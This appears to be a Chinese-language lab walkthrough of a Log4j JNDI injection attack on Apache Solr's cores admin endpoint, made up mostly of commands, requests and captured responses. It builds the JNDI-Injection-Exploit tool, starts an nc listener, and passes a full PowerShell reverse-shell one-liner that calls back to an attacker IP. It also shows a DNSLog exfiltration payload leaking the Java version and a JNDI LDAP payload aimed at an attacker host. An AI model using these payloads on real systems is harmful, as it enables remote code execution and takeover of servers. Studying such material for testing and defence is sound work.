

```
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit

mvn clean package -DskipTests

cd JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

对命令进行 base64 编码 （命令必须经过编码，不然无法实现）
[Runtime.exec Payload Generater | AresX's Blog](https://ares-x.com/tools/runtime-exec)
```

要区分受

害者机器是win还是linux，对应命令不同

dns尝试外带的时候也是

1.nc监听9001端口，该端口用于接受反弹的shell

```
nc -lvp 9001 # 监听9001端口
```

2.启动JNDIInjection

```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "powershell -nop -w
hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('攻击者
ip',9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%
{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){\$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,
\$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback +
'PS ' + (pwd).Path + '> ';\$sendbyte =
([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$s
endbyte.Length);\$stream.Flush()};\$client.Close()\" \ -A 攻击者ip
```

注意

1.命令需要base64编码

2.抓包的时候，对于jndi的payload需要进行url编码

test

< > 数据包扫描 美化 热加载 构造请求

GET /solr/admin/cores?action=({urlenc({jndi:ldap://{sys:java.version}.26pn6r.dnslog.cn}})} HTTP/1.1
Host : 192.168.31.100:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

1126bytes / 2ms

美化 编码 查看提取结果 详情

14 --"initFailures": {},
15 --"status": {
16 --"demo": {
17 --"name": "demo",
18 --"instanceDir": "/opt/solr/server/solr/demo",
19 --"dataDir": "/opt/solr/server/solr/demo/data/",
20 --"config": "solrconfig.xml",
21 --"schema": "managed-schema",
22 --"startTime": "2025-06-06T21:39:38.633Z",
23 --"uptime": 359920,
24 --"index": {
25 --"numDocs": 46,
26 --"maxDoc": 46,
27 --"deletedDocs": 0,
28 --"indexHeapUsageBytes": 6116,
29 --"version": 6,
30 --"segmentCount": 1,
31 --"current": true,
32 --"hasDeletions": false,
33 --"directory": "org.apache.lucene.store.NRTCachingDirectory:NRTCachingDirectory(MMapDirectory@/opt/solr/server/solr/demo/data/index-lockFactory=org.apache.lucene.store.NativeFSLockFactory@27734cc2; maxCacheMB=48.0; maxMergeSizeMB=4.0)",
34 --"segmentsFile": "segments_2",
35 --"segmentsFileSizeInBytes": 220,

DNSLog.cn

Get SubDomain Refresh Record

26pn6r.dnslog.cn

DNS Query Record	IP Address	Created Time
1.8.0_102.26pn6r.dnslog.cn	219.128.131.90	2025-06-07 05:45:38

Copyright © 2019 DNSLog.cn All Rights Reserved.

3.nc监听需要先打开

quest

< > 数据包扫描 美化 热加载 构造请求

1 GET /solr/admin/cores?action=({urlenc({jndi:ldap://192.168.31.115:1389/ijqm1m}})} HTTP/1.1
2 Host : 192.168.31.100:8983
3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate
8
9

299bytes / 0ms

美化 编码 查看提取结果 详情

1 HTTP/1.1 400 Bad Request
2 Content-Security-Policy: default-src 'none'; connect-src 'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src 'self'; media-src 'self'; style-src 'self' unsafe-inline; script-src 'self'; worker-src 'self';
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 X-XSS-Protection: 1; mode=block
6 Content-Type: application/json; charset=utf-8
7 Content-Length: 299
8
9 {
10 --"responseHeader": {
11 --"status": 400,
12 --"QTime": 1},
13 --"error": {
14 --"metadata": [
15 --"error-class", "org.apache.solr.common.SolrException",
16 --"root-error-class", "org.apache.solr.common.SolrException"],
17 --"msg": "Unsupported operation: ldap://192.168.31.115:1389/ijqm1m",
18 --"code": 400}}
19

